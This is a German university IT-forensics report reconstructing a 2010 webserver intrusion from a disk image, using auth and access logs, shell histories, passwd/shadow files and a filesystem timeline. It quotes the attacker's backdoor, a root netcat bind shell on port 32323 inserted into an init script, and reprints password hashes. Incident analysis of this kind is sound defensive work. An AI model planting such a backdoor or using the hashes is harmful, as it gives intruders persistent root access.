ingenieur
wissenschaften
htw saar

Hochschule für Technik und
Wirtschaft des Saarlandes

IT Forensik

PIBWI54

Marian Müller
Mike Franz
Michael Sebastian Koch
Urs Oberdorf

4. Februar 2015

Inhaltsverzeichnis

1 Ausgangssituation

Der Betreiber eines Webservers hat am 29.01.2010 festgestellte, dass mit dem Server etwas nicht stimmt.
Am Vortag hat der Betreiber zuletzt gegen 22:15 Uhr Arbeiten am Webserver durchgeführt.

- Ein Image des Servers (ca. 3Gb) wurde erstellt.
- Das Image wurde mit bzip2 komprimiert (ca. 500 MB).
- MD5-Hashwert des Images:
  `4afc088a94dd6c36e750b7462e737162 img.dd`

Rekonstruieren Sie den Vorfall und erstellen Sie einen gerichtsverwertbaren Bericht.

2 Planung

Um den Vorfall zu bearbeiten wurden in einem Brainstorming Ideen gesammelt was alles überprüft werden sollte. Um den Untersuchungsablauf besser zu strukturieren, wurden diese anschließend kategorisiert und als Tests, welche durchgeführt werden sollen, umformulierten. Die Tests dienen als Untersuchungseinstiegspunkte, da je nach Ergebniss ein dynamischer Fortgang zu erwarten ist.

- Timeline
  Um einen Überblick der Aktionen auf dem Dateisystem zu erhalten soll eine Timeline erstellt werden. Des Weiteren können hier die letzten Änderungen an Dateien inklusive dem Verursacher entnommen werden.

- Logins
  Die Datei `/var/log/auth.log` soll auf Auffälligkeiten überprüft werden. Sie enthält alle login und logout Ergeignisse von normalen Benutzern sowie Systemprozessen. Es werden hieraus weiterführende Hinweise auf nicht authorisierte Zugriffe auf das System erhofft.

- Benutzer
  In den Dateien `/etc/shadow` und `/etc/passwd` sind alle Benutzer des Systems hinterlegt. Sollten Benutzer hier hinterlegt sein, welche Auffälligkeiten aufweisen wie z.b. ungewöhnliche Namen oder Erstellungsdaten, kann verfolgt werden was der Benutzer am System verändert hat.

- Module
  Die Datei `/proc/modules` listet alle geladenen Module des Systems. Sollten auffällige Module geladen sein kann mittels Reverse Engineering deren Zweck ermittelt werden.

- Swap Partition
  In dieser Untersuchung wird die Swap Partiton nicht berücksichtigt.

3 Vorbereitung

Nach dem entpacken des Images wurden mit `fdisk -l image.dd` folgende Partitionsinformationen entnommen:

```
Disk image.dd: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders, total 6291456 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009d1b1

Device      Boot       Start         End      Blocks   Id  System
image.dd1   *              0     3518171     1759086   83  Linux
image.dd2            3518235     4305419      393592+  82  Linux swap
image.dd3            4305420     6281414      987997+   5  Extended
image.dd5            4305483     6281414      987966   83  Linux
```

Da die Partitionstabelle des Images defekt ist (Startsektor = 0, normalerweise 63 bei der ersten Partition) und um die einzelnen Partitionen als Loopback Device mounten zu können muss dem `losetup` Programm ein Offset übergeben werden. Dieser berechnet sich aus dem Startsektor sowie der Größe eines Sektors.

$$startsector * sectorsize = offset$$

Aus dieser Berechnung ergeben sich folgende `losetup`-Befehle:

```
losetup -v -r -o      32256 /dev/loop0 image.dd
losetup -v -r -o 1801336320 /dev/loop1 image.dd
losetup -v -r -o 2204407296 /dev/loop2 image.dd
```

Der Schalter `-r` verhindert, dass auf das Geraet schreibend zugegriffen wird.

Um die Loopback Devices in das Dateisystem einzubinden muss mit `fsstat -t <Device>` das Dateisystem ermittelt werden. Angewendet auf die Geräte `/dev/loop0` und `/dev/loop2` gab das Program den Typ `ext3` an. Das Program gab weiterhin, angewendet auf das Gerät `/dev/loop1`, `Cannot determine file system type` zurück. Durch die vorherige Ausgabe von `fdisk` war aber bereits der Typ `swap` identifiziert.

Schließlich konnten die beiden Partitionen mit dem `ext3` Dateisystem mit `mount -o  ro -t ext3 <Device> <Mountpoint>` eingebunden werden.

4 Timeline

Nachdem zwei Partitionen als Dateisysteme erkannt wurden, wurde eine Timeline über diese erstellt mit folgenden Befehlen:

```
fls -o      63 -f ext3 -m / -r image.dd >  body.txt
fls -o 4305483 -f ext3 -m / -r image.dd >> body.txt
```

Anschließend wurde für eine bessere Orientierung, eine Timestamp-Sortierung mit dem Program `mactime-sleuthkit` vorgenommen .

```
mactime-sleuthkit -b body.txt > tl.body.txt
```

5 Durchführung

5.1 Abarbeiten der Tests

Da der Geschädigte sagte, dass seine letzten Arbeiten am 28.01.2010 um 22:15 Uhr stattfanden bevor er gemerkt hat, dass mit dem Webserver etwas nicht stimmt, wurde im `auth.log` nach auffälligen Logins, primär, nach diesem Zeitpunkt gesucht. Hier ein Auszug aus der Datei: 7.5

```
Jan 28 22:50:04 websrv useradd[2218]: new user: name=evil,
    UID=1001, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 22:50:24 websrv sshd[2224]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=evil
Jan 28 22:50:27 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:50:33 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:56:35 websrv useradd[2229]: new user: name=evil2,
    UID=1002, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 23:00:10 websrv useradd[2239]: new user: name=evil3,
    UID=1003, GID=0, home=/home/evil3, shell=/bin/bash
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:22:37 websrv passwd[2309]:
    pam_unix(passwd:chauthtok): password changed for evil
Jan 28 23:23:02 websrv sshd[2311]: Accepted password for evil
    from 10.0.0.66 port 57009 ssh2
Jan 28 23:23:02 websrv sshd[2311]: pam_unix(sshd:session):
    session opened for user evil by (uid=0)
Jan 28 23:29:11 websrv sshd[2311]: pam_unix(sshd:session):
    session closed for user evil
```

Als anschließend die datei `/etc/passwd` durchsucht wurde, wurden die Benutzer `evil, evil2` und `evil3` gefunden. Hier der Auszug: 7.1

```
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

Die Liste der geladenen Module in `/proc/modules` enhält keine Auffälligkeiten.

5.2 Auswerten der Tests

Als erstes beschäftigte man sich mit den ungewöhnlichen Systembenutzern `evil, evil2` und `evil3`. Eine sofortige Auffälligkeit der drei Benutzer in der `/etc/shadow` Datei 7.2 ist, dass sie im Feld der letzten Passwortänderung, den selben Wert aufweisen wie die Systembenutzer. Dies suggeriert den selben Erstellungszeitpunkt wie diese ist aber insofern unglaubwürdig da in der erstellten Timeline der letzte `modification/change` Timestamp der `/etc/shadow` Datei 7.2 am `Thu Jan 28 2010 22:16:33` ist. Was wiederum wiedersprüchlich ist mit der `auth.log` Log-Datei 7.5 in der ein neuer Benutzer namens `evil` erst `Jan 28 22:50:04` erstellt wurde. Es ist zum einen Möglich mit `root` Rechten die `/etc/shadow` Datei 7.2 händisch zu manipulieren sodass beliebige Werte eingetragen werden können, weiterhin ist es mit relativ simplen C-Programmen möglich MAC-Timestamps zu manipulieren.

Eine weitere Auffälligkeit findet sich im Auszug der Ausgabe des Befehls `ls -lahd /home/`:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28 2010 evil
drwxr-xr-x 2 1003 root 4,0K Jan 28 2010 evil3
```

Die Benutzer `evil` und `evil3` sind mit ihren `UIDs` und nicht Ihren Benutzernamen angezeigt. Des weiteren hat `evil2` kein eigenes Verzeichniss im `/home/` Directory. Ein Blick in die `/etc/passwd` Datei 7.1 zeigt, dass sich die Benutzer `evil` und `evil2` ein `/home/`-Verzeichniss teilen.

```
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

Ein `ls -lah /home/evil/` zeigt folgende Ausgabe:

```
drwxr-xr-x 2 1001 root 4,0K Jan 28  2010 .
drwxr-xr-x 5 root root 4,0K Jan 28  2010 ..
-rw------- 1 1001 root  229 Jan 28  2010 .bash_history
-rw-r--r-- 1 1001 root  220 Mai 12  2008 .bash_logout
-rw-r--r-- 1 1001 root 3,1K Mai 12  2008 .bashrc
-rwxr-xr-x 1 1001 root 1,3K Jan 28  2010 bdstart.sh
-rwxr-xr-x 1 1001 root 1,9K Jan 28  2010 networking
-rw-r--r-- 1 1001 root  675 Mai 12  2008 .profile
```

Als erstes wurde die `networking` Datei näher betrachtet. Hierbei handelt es sich um ein Skript welches wahrscheinlich das Original unter `/etc/init.d/` ersetzen soll. Ein `diff /etc/init.d/networking /home/evil/networking` bestätigte diese Vermutung. Wenn nun das Skript mit dem Parameter `start` aufgerufen wird, wird unter den normalen Befehlen ausserdem folgende Zeile ausgeführt:

```
/usr/local/bin/mysudo "/var/www/upload/netcat -nvv -l -e
    /bin/bash -p 32323"
```

Diese Zeile startet das `netcat` Programm mittels `mysudo` und läßt es auf den Port 32323 lauschen, welches mit dem Schalter `-e` jegliche eingehenden Daten an eine `bash`-Shell weiter leitet welche `root`-Berechtigung hat.

Nach der Feststellung, dass der Angreifer mit `root`-Rechten agiert hat wurde die `.bash_history` 7.3 des `root`-Benutzers untersucht. Aufmerksamkeit erregte die Bearbeitung eines `mysudo` Programms. Bei näherer Untersuchung wurde festgestellt, dass einer Binärdatei namens `mysudo` das `setuid`-Bit gesetzt wurde, der Eigentümer auf `root:root` geändert und sie vom `/home/`-Verzeichnis des Benutzers `itf` nach `/usr/local/bin/` verschoben wurdeund somit in der `$PATH`-Variable ethalten. Diese Aktionen wurden ausgeführt bevor der Angreifer auf das System kam was vermuten läßt, dass der Administrator diese ausgeführt hat 7.5.

Über die `.bash_history` kann man die Befehle welche der Benutzer absetzte einsehen 7.4. Der Umstand, dass diese ebenfalls von Angreifern modifizierbar ist muss berücksichtigt werden. Manipulationen an dieser Datei sind anhand der MAC-Timestamps nicht nachvollziehbar da bei jeder Ausführung eines Befehls der `modification` und `change` Timestamp gesetzt wird.

6 Rekonstruktion des Vorfalls

Die ersten fehlgeschlagenen Zugriffsversuche unternahm der Angreifer um 22:13:47 Uhr von der IP-Adresse 10.0.0.6 über ssh 7.5. Anschließend wurden erfolgreiche Zugriffe auf den Webserver von der selben IP-Adresse im Access Log des Apache2 7.6 gefunden. Der Angreifer hat dann die `upload.html` und `upload.php` gefunden und diese genutzt um die Dateien `config.php`, `phpshell.php` sowie `style.css` hochzuladen. Der Ordner `upload` in welchem diese Dateien gespeichert wurden besitzt die Rechte `read`, `write` und `execute` für jeden Benutzer. Dieser Umstand sowie der deaktivierte `safe_mode` in `/etc/php5/apache2/php.ini` versetzten den Angreifer in die Lage eine PHP-Remote-Shell auszuführen. Diese Shell erhielt die Berrechtigungen des `www-data` Benutzers, also die des Webservers, welcher die PHP-Shell ausführt. Bei seiner Analyse des Systems per php-Shell fand der Angreifer in `/usr/local/bin/` die Binärdatei `mysudo` welche von Benutzer `itf` erstellt wurde und anschließend von `root` um 20:58:23 Uhr Uhr 7.3 das `setuid`-Bit gesetzt bekommen hat sowie den Eigentümerwechsel auf `root:root`. Unter Verwendung der `phpshell` und `mysudo` wurden dann die Benutzer `evil` (um 22:50:04 Uhr), `evil2` (um 22:56:35 Uhr) und `evil3` (um 23:00:10 Uhr) angelegt. Mit dem Benutzer `evil` loggte der Angreifer sich um 23:23:02 Uhr von der IP-Adresse 10.0.0.66 per `ssh` ein. Diese SSH-Session dauerte bis 23:29:11 Uhr. In dieser Zeit wurde ein Backdoor eingebaut. Um dies zu realsieren wurde die Datei `/etc/init.d/networking` angepasst und die Datei `netcat` um 23:08:45 Uhr über das Upload-Formular hochgeladen. Somit konnte das System von außen, auch bei deaktiviertem SSH-Server und gelöschten Usern, weiterhin mit Rootrechten gesteuert werden.

Somit war der Server nun unter Kontrolle des Angreifers und konnte auch nach einer oberflächlichen Bereinigung durch den Administrator, sprich Entfernung der User und Beheben der Sicherheitslücken des Webservers, weiterhin mit allen Berechtigungen aus der Ferne gesteuert werden. Erst eine Bereinigung der `/etc/init.d/networking` und eine Inbetriebnahme einer restriktiven Firewall würden das Problem beseitigen.

7 Anhang

7.1 passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System
    (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
itf:x:1000:1000:itf,,,:/home/itf:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
evil:x:1001:0::/home/evil:/bin/bash
evil2:x:1002:0::/home/evil:/bin/bash
evil3:x:1003:0::/home/evil3:/bin/bash
```

7.2 shadow

```
root:$1$yn3O2/Tb$LqCVg6vRECFwy.dh5.RgC.:14637:0:99999:7:::
daemon:*:14637:0:99999:7:::
bin:*:14637:0:99999:7:::
sys:*:14637:0:99999:7:::
sync:*:14637:0:99999:7:::
games:*:14637:0:99999:7:::
man:*:14637:0:99999:7:::
lp:*:14637:0:99999:7:::
mail:*:14637:0:99999:7:::
news:*:14637:0:99999:7:::
uucp:*:14637:0:99999:7:::
proxy:*:14637:0:99999:7:::
www-data:*:14637:0:99999:7:::
backup:*:14637:0:99999:7:::
list:*:14637:0:99999:7:::
irc:*:14637:0:99999:7:::
gnats:*:14637:0:99999:7:::
nobody:*:14637:0:99999:7:::
libuuid:!:14637:0:99999:7:::
Debian-exim:!:14637:0:99999:7:::
```

```
statd:*:14637:0:99999:7:::
itf:$1$lMKQF/c.$XS31uIOSTLrQrXHXEPAXP0:14637:0:99999:7:::
sshd:*:14637:0:99999:7:::
evil:$1$mCAms.Y2$Q1bHHt9K5wkc2DRaoVKHE0:14637:0:99999:7:::
evil2:.Ve5HDg/SQJaueV/:14637:0:99999:7:::
evil3:.AjQbKPniaMw1:14637:0:99999:7:::
```

7.3 bash_history root

```
aptitude install openssh-server
 aptitude search php
 /etc/init.d/apache2 restart
 top
 ls
 ll
 ls
 init 0
 vim interfaces
 ifconfig
 ifconfig eth0 10.0.0.1
 ifconfig
 init 0
 cd /var/www/
 ll
 ls
 vim upload.html
 vim upload.php
 mkdir upload
 ll
 ls
 ls /home/itf/
 ls -l /home/itf/
 cp /home/itf/mysudo /usr/local/bin/
 chmod +s /usr/local/bin/mysudo
 ls -l /usr/local/bin/
 chown root.root /usr/local/bin/mysudo
 ls -l /usr/local/bin/
 chmod +s /usr/local/bin/mysudo
 ls -l /usr/local/bin/
 cd /var/www/
 ls -l
 chmod 777 upload
 ls -l upload
```

7.4 bash_history evil

```
ls
ls -l
mysudo whoami
cd /etc/init.d/
ls
touch bdstart.sh
cd
cp /etc/init.d/hostname.sh bdstart.sh
```

```
vim bdstart.sh
cp /etc/init.d/networking .
vim networking
mysudo "cp ./networking /etc/init.d/"
ls -l /etc/init.d/
ls -l /etc/
```

7.5 auth.log

```
Jan 28 15:21:49 websrv login[1983]: pam_unix(login:session):
    session opened for user itf by (uid=0)
Jan 28 15:21:55 websrv su[2047]: pam_unix(su:auth):
    authentication failure; logname=itf uid=1000 euid=0 tty=tty1
    ruser=itf rhost=  user=root
Jan 28 15:21:57 websrv su[2047]: pam_authenticate:
    Authentication failure
Jan 28 15:21:57 websrv su[2047]: FAILED su for root by itf
Jan 28 15:21:57 websrv su[2047]: - tty1 itf:root
Jan 28 15:22:04 websrv su[2048]: Successful su for root by itf
Jan 28 15:22:04 websrv su[2048]: + tty1 itf:root
Jan 28 15:22:04 websrv su[2048]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 15:22:35 websrv useradd[2335]: new user: name=sshd,
    UID=103, GID=65534, home=/var/run/sshd,
    shell=/usr/sbin/nologin
Jan 28 15:22:35 websrv usermod[2340]: change user 'sshd'
    password
Jan 28 15:22:35 websrv chage[2345]: changed password expiry for
    sshd
Jan 28 15:22:35 websrv sshd[2376]: Server listening on :: port
    22.
Jan 28 15:22:35 websrv sshd[2376]: Server listening on 0.0.0.0
    port 22.
Jan 28 15:24:56 websrv su[2048]: pam_unix(su:session): session
    closed for user root
Jan 28 16:26:41 websrv sshd[1674]: Server listening on :: port
    22.
Jan 28 16:26:41 websrv sshd[1674]: Server listening on 0.0.0.0
    port 22.
Jan 28 16:26:53 websrv login[2010]: pam_unix(login:session):
    session opened for user itf by LOGIN(uid=0)
Jan 28 16:27:08 websrv su[2053]: Successful su for root by itf
Jan 28 16:27:08 websrv su[2053]: + tty1 itf:root
Jan 28 16:27:08 websrv su[2053]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 16:27:44 websrv sshd[1674]: Received signal 15;
    terminating.
Jan 28 16:27:44 websrv sshd[2082]: Server listening on :: port
    22.
Jan 28 16:27:44 websrv sshd[2082]: Server listening on 0.0.0.0
    port 22.
Jan 28 16:30:34 websrv sshd[2086]: Accepted password for itf
    from 10.0.0.2 port 45719 ssh2
Jan 28 16:30:34 websrv sshd[2086]: pam_unix(sshd:session):
```

```
    session opened for user itf by (uid=0)
Jan 28 16:30:40 websrv sshd[2086]: pam_unix(sshd:session):
    session closed for user itf
Jan 28 16:31:31 websrv sshd[2106]: Accepted password for itf
    from 10.0.0.2 port 45720 ssh2
Jan 28 16:31:31 websrv sshd[2106]: pam_unix(sshd:session):
    session opened for user itf by (uid=0)
Jan 28 16:34:04 websrv su[2147]: Successful su for root by itf
Jan 28 16:34:04 websrv su[2147]: + pts/0 itf:root
Jan 28 16:34:04 websrv su[2147]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 16:34:29 websrv su[2147]: pam_unix(su:session): session
    closed for user root
Jan 28 16:34:31 websrv sshd[2106]: pam_unix(sshd:session):
    session closed for user itf
Jan 28 16:35:31 websrv su[2053]: pam_unix(su:session): session
    closed for user root
Jan 28 20:41:04 websrv sshd[1686]: Server listening on :: port
    22.
Jan 28 20:41:04 websrv sshd[1686]: Server listening on 0.0.0.0
    port 22.
Jan 28 20:44:51 websrv sshd[2047]: Accepted password for itf
    from 10.0.0.2 port 41543 ssh2
Jan 28 20:44:51 websrv sshd[2047]: pam_unix(sshd:session):
    session opened for user itf by (uid=0)
Jan 28 20:50:44 websrv su[2064]: Successful su for root by itf
Jan 28 20:50:44 websrv su[2064]: + pts/0 itf:root
Jan 28 20:50:44 websrv su[2064]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 20:57:43 websrv sshd[2075]: Accepted password for itf
    from 10.0.0.2 port 50917 ssh2
Jan 28 20:57:43 websrv sshd[2075]: pam_unix(sshd:session):
    session opened for user itf by (uid=0)
Jan 28 20:57:43 websrv sshd[2075]: pam_unix(sshd:session):
    session closed for user itf
Jan 28 20:59:27 websrv sshd[2087]: Accepted password for itf
    from 10.0.0.2 port 50918 ssh2
Jan 28 20:59:27 websrv sshd[2087]: pam_unix(sshd:session):
    session opened for user itf by (uid=0)
Jan 28 21:09:02 websrv CRON[2121]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 21:09:02 websrv CRON[2121]: pam_unix(cron:session):
    session closed for user root
Jan 28 21:09:14 websrv su[2064]: pam_unix(su:session): session
    closed for user root
Jan 28 21:09:21 websrv sshd[2087]: pam_unix(sshd:session):
    session closed for user itf
Jan 28 21:09:25 websrv sshd[2047]: pam_unix(sshd:session):
    session closed for user itf
Jan 28 21:17:01 websrv CRON[2133]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 21:17:01 websrv CRON[2133]: pam_unix(cron:session):
    session closed for user root
Jan 28 21:39:01 websrv CRON[2137]: pam_unix(cron:session):
```

```
    session opened for user root by (uid=0)
Jan 28 21:39:01 websrv CRON[2137]: pam_unix(cron:session):
    session closed for user root
Jan 28 22:09:01 websrv CRON[2147]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 22:09:01 websrv CRON[2147]: pam_unix(cron:session):
    session closed for user root
Jan 28 22:13:47 websrv sshd[2157]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=root
Jan 28 22:13:49 websrv sshd[2157]: Failed password for root
    from 10.0.0.66 port 51292 ssh2
Jan 28 22:13:55 websrv sshd[2157]: Failed password for root
    from 10.0.0.66 port 51292 ssh2
Jan 28 22:14:02 websrv sshd[2157]: Failed password for root
    from 10.0.0.66 port 51292 ssh2
Jan 28 22:14:02 websrv sshd[2157]: PAM 2 more authentication
    failures; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=root
Jan 28 22:14:08 websrv sshd[2160]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=root
Jan 28 22:14:11 websrv sshd[2160]: Failed password for root
    from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:14 websrv sshd[2160]: Failed password for root
    from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:17 websrv sshd[2160]: Failed password for root
    from 10.0.0.66 port 51293 ssh2
Jan 28 22:14:17 websrv sshd[2160]: PAM 2 more authentication
    failures; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=root
Jan 28 22:14:22 websrv sshd[2162]: Invalid user admin from
    10.0.0.66
Jan 28 22:14:22 websrv sshd[2162]: Failed none for invalid user
    admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:24 websrv sshd[2162]: pam_unix(sshd:auth): check
    pass; user unknown
Jan 28 22:14:24 websrv sshd[2162]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66
Jan 28 22:14:26 websrv sshd[2162]: Failed password for invalid
    user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:27 websrv sshd[2162]: pam_unix(sshd:auth): check
    pass; user unknown
Jan 28 22:14:29 websrv sshd[2162]: Failed password for invalid
    user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:31 websrv sshd[2162]: pam_unix(sshd:auth): check
    pass; user unknown
Jan 28 22:14:33 websrv sshd[2162]: Failed password for invalid
    user admin from 10.0.0.66 port 47703 ssh2
Jan 28 22:14:33 websrv sshd[2162]: PAM 2 more authentication
    failures; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66
Jan 28 22:16:18 websrv login[2022]: pam_unix(login:auth):
```

```
    authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1
    ruser= rhost=  user=itf
Jan 28 22:16:20 websrv login[2022]: FAILED LOGIN (1) on 'tty1'
    FOR 'itf', Authentication failure
Jan 28 22:16:33 websrv login[2022]: pam_unix(login:session):
    session opened for user itf by LOGIN(uid=0)
Jan 28 22:16:45 websrv su[2178]: Successful su for root by itf
Jan 28 22:16:45 websrv su[2178]: + tty1 itf:root
Jan 28 22:16:45 websrv su[2178]: pam_unix(su:session): session
    opened for user root by itf(uid=1000)
Jan 28 22:17:01 websrv CRON[2181]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 22:17:01 websrv CRON[2181]: pam_unix(cron:session):
    session closed for user root
Jan 28 22:17:13 websrv su[2178]: pam_unix(su:session): session
    closed for user root
Jan 28 22:17:14 websrv login[2022]: pam_unix(login:session):
    session closed for user itf
Jan 28 22:39:01 websrv CRON[2203]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 22:39:01 websrv CRON[2203]: pam_unix(cron:session):
    session closed for user root
Jan 28 22:50:04 websrv useradd[2218]: new user: name=evil,
    UID=1001, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 22:50:24 websrv sshd[2224]: pam_unix(sshd:auth):
    authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
    rhost=10.0.0.66  user=evil
Jan 28 22:50:27 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:50:33 websrv sshd[2224]: Failed password for evil
    from 10.0.0.66 port 60500 ssh2
Jan 28 22:56:35 websrv useradd[2229]: new user: name=evil2,
    UID=1002, GID=0, home=/home/evil, shell=/bin/bash
Jan 28 23:00:10 websrv useradd[2239]: new user: name=evil3,
    UID=1003, GID=0, home=/home/evil3, shell=/bin/bash
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:09:01 websrv CRON[2249]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session opened for user root by (uid=0)
Jan 28 23:17:01 websrv CRON[2291]: pam_unix(cron:session):
    session closed for user root
Jan 28 23:22:37 websrv passwd[2309]:
    pam_unix(passwd:chauthtok): password changed for evil
Jan 28 23:23:02 websrv sshd[2311]: Accepted password for evil
    from 10.0.0.66 port 57009 ssh2
Jan 28 23:23:02 websrv sshd[2311]: pam_unix(sshd:session):
    session opened for user evil by (uid=0)
Jan 28 23:29:11 websrv sshd[2311]: pam_unix(sshd:session):
    session closed for user evil
```

7.6 access.log

```
10.0.0.2 - - [28/Jan/2010:20:53:19 +0100] "GET / HTTP/1.1" 200
    56 "-" "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.16)
    Gecko/20080528 Epiphany/2.22"
10.0.0.2 - - [28/Jan/2010:20:53:28 +0100] "GET /upload.html
    HTTP/1.1" 200 204 "-" "Mozilla/5.0 (X11; U; Linux i686; en;
    rv:1.9.0.16) Gecko/20080528 Epiphany/2.22"
10.0.0.2 - - [28/Jan/2010:20:53:31 +0100] "POST /upload.php
    HTTP/1.1" 200 44 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; en; rv:1.9.0.16) Gecko/20080528
    Epiphany/2.22"
10.0.0.66 - - [28/Jan/2010:22:15:08 +0100] "GET / HTTP/1.1" 200
    56 "-" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.16)
    Gecko/2009121610 Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:15:08 +0100] "GET /favicon.ico
    HTTP/1.1" 404 296 "-" "Mozilla/5.0 (X11; U; Linux i686; de;
    rv:1.9.0.16) Gecko/2009121610 Iceweasel/3.0.6
    (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:15:11 +0100] "GET /favicon.ico
    HTTP/1.1" 404 296 "-" "Mozilla/5.0 (X11; U; Linux i686; de;
    rv:1.9.0.16) Gecko/2009121610 Iceweasel/3.0.6
    (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:15:17 +0100] "GET /upload.html
    HTTP/1.1" 200 204 "-" "Mozilla/5.0 (X11; U; Linux i686; de;
    rv:1.9.0.16) Gecko/2009121610 Iceweasel/3.0.6
    (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:15:31 +0100] "POST /upload.php
    HTTP/1.1" 200 245 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:00 +0100] "POST /upload.php
    HTTP/1.1" 200 86 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:14 +0100] "POST /upload.php
    HTTP/1.1" 200 86 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:40 +0100] "POST /upload.php
    HTTP/1.1" 200 85 "http://10.0.0.1/upload.html" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:44 +0100] "GET
    /upload/phpshell.php HTTP/1.1" 200 638 "-" "Mozilla/5.0
    (X11; U; Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:44 +0100] "GET
    /upload/style.css HTTP/1.1" 200 734
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
    Linux i686; de; rv:1.9.0.16) Gecko/2009121610
    Iceweasel/3.0.6 (Debian-3.0.6-3)"
10.0.0.66 - - [28/Jan/2010:22:33:53 +0100] "POST
    /upload/phpshell.php HTTP/1.1" 200 1005
    "http://10.0.0.1/upload/phpshell.php" "Mozilla/5.0 (X11; U;
